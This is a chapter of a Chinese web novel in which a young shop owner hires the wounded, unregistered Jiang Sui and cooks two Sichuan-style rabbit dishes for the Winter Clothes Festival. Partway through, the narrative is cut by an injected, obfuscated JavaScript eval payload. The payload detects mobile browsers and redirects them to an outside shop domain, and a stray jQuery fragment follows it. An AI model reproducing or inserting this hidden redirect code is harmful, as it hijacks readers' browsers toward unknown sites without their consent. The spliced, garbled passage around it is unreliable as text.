天上的太阳升落几次。
日子已经到了寒衣节。
寒衣节是入冬的首日，按照习俗，家里会置办冬季厚衣裳并且给故去的家人烧去冥衣。
按照目前的情况，这两样都做不到，但有一个习俗还是能做到的。
那便是开灶。
这开灶没什么讲究，只要寒衣节这一日用过灶台便行，哪怕是烧壶水也不能让灶台一日不开火。
万顺意可不愿意就含糊过去。
买不了新衣裳还烧不成纸，就剩做饭这事儿了！
早上一起来，吃了暖烘烘的烤红薯，她就拉着另外三人商议今中午可要弄些什么好的。
病号江遂笑而不语，杨茂则是都行。
只有宋喜娘和万顺意一样热切。
“十月朝，吃豆羹，御寒冷！就吃豆羹吧！”
“豆羹是铁定要吃的，但光吃豆羹实在是太不丰富了！”
“那……吃兔肉可好？霜降那日小娘子本就打算做兔肉吃的。”
“这个好！”万顺意捧着脸看向杨茂，“杨叔……”
“抓兔子很简单。”
“可我不会扒皮……”万顺意眨眼。
杨茂沉默了。
他……也不会。
万顺意肩膀一下耷拉了下来。
不会扒皮咋办啊？
“我会！”宋喜娘忽然道。
万顺意和杨茂眼睛瞪得溜圆。
就连一直微笑的江遂表情都僵住了。
给兔子扒皮可是个技术活！
宋喜娘被三人齐齐盯着，盯得都有些不好意思了。
“嗨呀，我小时候，家里为了补贴家用养了许多兔子。我娘教我的。你们是不知道，兔子那东西就是看着可爱，其实暴躁得不得了，而且还可能生了，一个月就能下一窝，一窝至少七八个。”
万顺意忽然想到了之前一个传闻。
“那个什么的爹，不就是有三十多个儿子吗？”
江十九郎背后忽的一凉。
“谁啊？”宋喜娘迷茫。
杨茂倒是反应过来了。
“江遂。”
“对对对！你们说他爹怎么有那么多孩子啊？他肯定还有女儿没算上吧？也就是他至少有三十多个孩子吧？”
“四十九个。”江遂幽幽开口，“不算未序齿前夭折的。”
万顺意“嘶”了一声。
虽说古代人讲究多子多福，但就算是皇帝也很少有这么多子女。
“你怎么知道？”杨茂环抱双臂，盯着江遂。
江遂这下是真笑了。
“杨叔，我家主子就是江家旁支的啊。”
万顺意也忘了这一茬了，听他一说立即凑上前问道：“你知道他家的事儿吗？他为什么生了这么多孩子啊？”
江遂沉默了片刻才开口。
“不是太清楚，或许是因为好色吧。”
“那也太多了吧！而且他家真奇怪，这么多孩子怎么会都死了？”
杨茂凉凉开口：“谁活下来谁就有嫌疑。”
万顺意还是不这样认为。
江家的女儿也都死了，若真是江遂干的，那这人是脑子肯定是有问题。
“说不定是他克子，把孩子克死的。”
江遂下意识点了一下头。
万顺意瞧见了，立即追问。
“真的啊？”
“这……”江遂真不知该如何回答。
杨茂和宋喜娘对此不太感兴趣，提了篮子和刀就走了。
万顺意不依不饶：“你说说嘛～哪怕是传言。”
江遂只能道：“肯定不是被杀的。”
“自杀？”万顺意搓了搓胳膊，“几十个人都自杀？那宅子里有鬼吗？”
这简直是恐怖悬疑片的经典设定。
“或许吧。”
“你原先就在江家，也不知晓？”
江遂将腿上的薄被往上拉了拉。
“江家大郎是服毒自杀，二郎是病死的，三郎是上吊，老四也是服毒，老五老六是病死……”
对方的语气很平静，像是在描述一个事实一样。
万顺意听得背直窜冷气。
这比有鬼还不正常！
见她面色都变白了，江遂停了下来。
“是很吓人吧，还非要我讲？”
万顺意摇摇头。
“不怕？”江遂挑眉。
万顺意忍不住朝他靠了靠。
“也不是，只是觉得很诡异啊。那么多人啊……”
“或许，真是江遂杀的？”
“不可能。”万顺意语气十分笃定，“他没必要杀姐妹，而且真的为了争夺家产，也没必要把兄弟杀绝，难不成他的兄弟个个都能威胁到他？这不可能。”
江遂眼神微闪，弯起眼一笑。
“你后面的辫子松了。”他指了指对方的后脑勺。
万顺意哎呀一声，摸了摸后脑勺，那根盘上去的大辫子竟然已经松得快要掉下来。
今日她起得最早，头发也是自己梳的，这后面还真不好打理。
她手忙脚乱要去拆，却被江遂用手腕挡住。
“若不介意，我帮你梳吧？”
万顺意把梳子递给他，“那你帮我弄弄，记得绑紧一点。”
“好。”江遂接过梳子，手指灵活地在发丝间穿梭，不过片刻，就将那一缕已经乱掉的辫子重新编好。
“你还会编头发？”
江遂将辫子一扭，沿着发髻底部绕上去。
“我幼时和祖母姐姐住在一起，时常帮她们编发。好了。”
万顺意摸了摸后脑勺，辫子服服帖帖顺着脑袋的弧线缠在发髻上。
“好厉害。”
江遂目光恍然，瞧着外面出神。
万顺意察觉到他的异样，以为他是关心外面的情况。
“你别担心，这里可是京城，张妄就是再残暴，最多也就纵容手下劫掠几日，等过几日，我们就可以下山了。”
江遂张了张嘴，眉间皱纹更深。
万顺意清了清嗓子。
“对了，你之前说你一直住在西市帮别人打杂？”
“是，西市人多眼杂，反而安全些。”
“做杂工可不太稳定吧？”
万顺意知道，没有户籍的这些人就像是国外的非法移民，就算勉强混入京城，也只能干最苦最累的活儿拿最少的钱，甚至还有些居心叵测之人会利用他们作恶。
江遂点点头。
万顺意捏着衣角，有点紧张。
“你若是愿意的话，可以到我的糕铺做杂工，包吃包住，我每个月还会给你月钱。”
她可计算好了。
现在糕铺的生意越来越好，三个人都不太忙得过来，这人既然能在生死关头对她拼死相护可见其人品不差，而且他自己没有户籍，十分好拿捏。
江遂双目一亮，嘴上却犹豫起来。
“我没有户籍，被查到会连累你的。”
“这没事，我和坊正关系可好了，那些坊丁从来不会来我铺子里查什么。”
“可我……不善庖厨。”
“洗菜洗碗这些杂活儿总会吧？”
“会的，都会！”江遂微微抿起嘴唇，“只是还得劳你多教教我，我手笨。”
“这都是小问题，但是……”万顺意眨眨眼，“我的铺子不大，给你的月钱可能不高，我只能拿出五百文。”
现在找个壮年伙计，一个月至少也得一两银子，五百文确实很少了。
“小娘子救我性命，还愿意给我一个栖身之所，我已经很满足了。”江遂一脸感激，“有时候想想，我都不知要怎么报答才好。”
万顺意转过视线，把“以身相许”四个字吞了下去。
真是可怕的容貌，差点让她的道德底线消失！
等宋喜娘和杨茂回来，万顺意立即把招徕了新人的消息告诉给了二人。
宋喜娘没什么大的反应。
“那还真好，多个人手，小娘子也能轻松些。不然每次节令前后，都忙得人脚不沾地。”
杨茂自然是不乐意的。
救人就算了，怎么还把人往家里带。
这人可是个没户籍不知根底的。
不知为何，杨茂总觉得这人很危险。
见他沉着脸不说话，万顺意自然知道他在想什么。
但她并不理会，而是顺着宋喜娘的话说下去。
“是啊！日后江舒也是铺子的一份子了，你们要好好相处。他会干的活儿不多，到时候，还得杨叔多带带他。”
杨茂憋气，最终还是点了头。
“我明白了。”
江遂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574630|204173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
朝二人拱拱手：“日后还要仰仗二位指教。”
宋喜娘笑得捂嘴。
“这孩子说话怎么老是文绉绉的，真客气。”
算是“一团和气”，万顺意接过二人收拾好的兔子。
“打了五只呀……”
“兔肉不顶饿，骨头多，少了不够吃。”杨茂说道。
“也是……”万顺意摸了摸下巴，“而且我做的兔肉很好吃，说不定还不够呢。”
宋喜娘好奇道：“小娘子是要做什么新花样吗？”
本朝吃兔肉，但不算流行，做法也单调，要么烤要么做成肉酱要么腌制腊味。
万顺意撸起袖子。
说到吃兔肉，绕不开四川这两个字。
她大学室友就是四川自贡人。
那次带他们去老家玩，吃了许多关于兔肉做的菜，像是哑巴兔冷吃兔鲜锅兔跳水兔红烧干锅兔火锅……
家常清淡的江湖麻辣的什么样的都有。
每一个万顺意都爱得不行，但硬要她挑两样出来，那还是得冷吃兔和兔肉火锅这两个文武状元。
报出这两个菜名儿，就让人好奇。
“冷吃兔？”宋喜娘大胆推测，“是冷着吃更好吃？”
万顺意连连点头：“你猜对了，这冷吃兔就是用辣椒花椒炒炸兔肉丁，因为冷着吃比趁热吃更香，所以就取这个名儿。”
江遂转过脸。
听上去就好香，不能吃的那种好香。
“那兔肉锅子呢？”宋喜娘觉着万顺意就算只做锅子，也肯定是不同的花样。
“等会儿你们就知道了。”
万顺意准备做兔肉锅子也是为江遂考虑。
可以让他补补了，兔肉虽然热量低但蛋白质很高，适合他这个病号。
烫火锅必须要兔里脊，万顺意将里脊取下切成片，用刀拍两下放盐腌制。
先吊上汤底，没有猪骨这些东西，就将就一下，用现成的菌子直接熬汤，加一勺猪油进去，增加一点荤味。
这兔肉锅子就算好了。
冷吃兔做法要复杂许多。
万顺意先将剩的兔肉切成小块，用葱姜酒腌上。
再来处理辣椒，干辣椒用剪刀剪成段，用水煮一会儿，煮到发胀捞出备用。除去这两样，香料也十分重要。
万顺意之前特意找过一个配方，用桂皮、草果、八角、小茴香和山奈，去腥增香效果最好。
这几样都有，切碎后加上花椒，泼一点白酒进去激激香味就能用了。
备好料，起锅烧油。
万顺意将一罐子油倒了一半进去。
看得宋喜娘欲言又止。
万顺意说道：“这主要是为了炸兔肉，多的油可以倒出来接着用。”万顺意说完将兔肉倒了进去。
片刻后，兔肉的水汽蒸干，锅里的油逐渐变得清亮。
万顺意拿着大勺舀了好几勺油出来，只在底部留下薄薄一层油。
虽说这菜得油多才好吃，但现在这油是真不便宜，能节约还是节约点好。
打了油，就可以放花椒姜末辣椒香料进去炒了，炒到油的颜色发红，辣椒发干，麻辣味冲鼻。再放盐定味，糖提鲜，最后撒把芝麻收尾。
红彤彤的冷吃兔倒入土瓷碗中，整个山洞都变得火辣辣起来。
江遂喉咙动了动，强逼自己低下头。
幸好，能吃的兔肉锅子好了。
万顺意烫了一碗兔肉连着米饭递给他。
兔肉入口似豆腐，毫无腥味。
江遂从未吃过这样的兔肉。
兔肉腥气重，一般都要重料重盐，肉质也柴，可这一碗兔肉和他之前吃的截然不同。
“这真是……兔肉？”
“不然呢？”
江遂忍不住看向她的碗。
她的碗里也是兔肉，但却沾着几点青，看着分外诱人。
不等他开口相问，万顺意就捂住了碗。
“你伤还没好，不能吃辣！”
江遂差点呛到。
这语气和他祖母似的。
“我知道，只是好奇。”
万顺意悻悻放下手。
“哦……这个是青色的辣椒做的酱，辣但是很清香，等你好了，我们再吃，好不好？”
江遂无言。
这语气更像是在哄孩子了！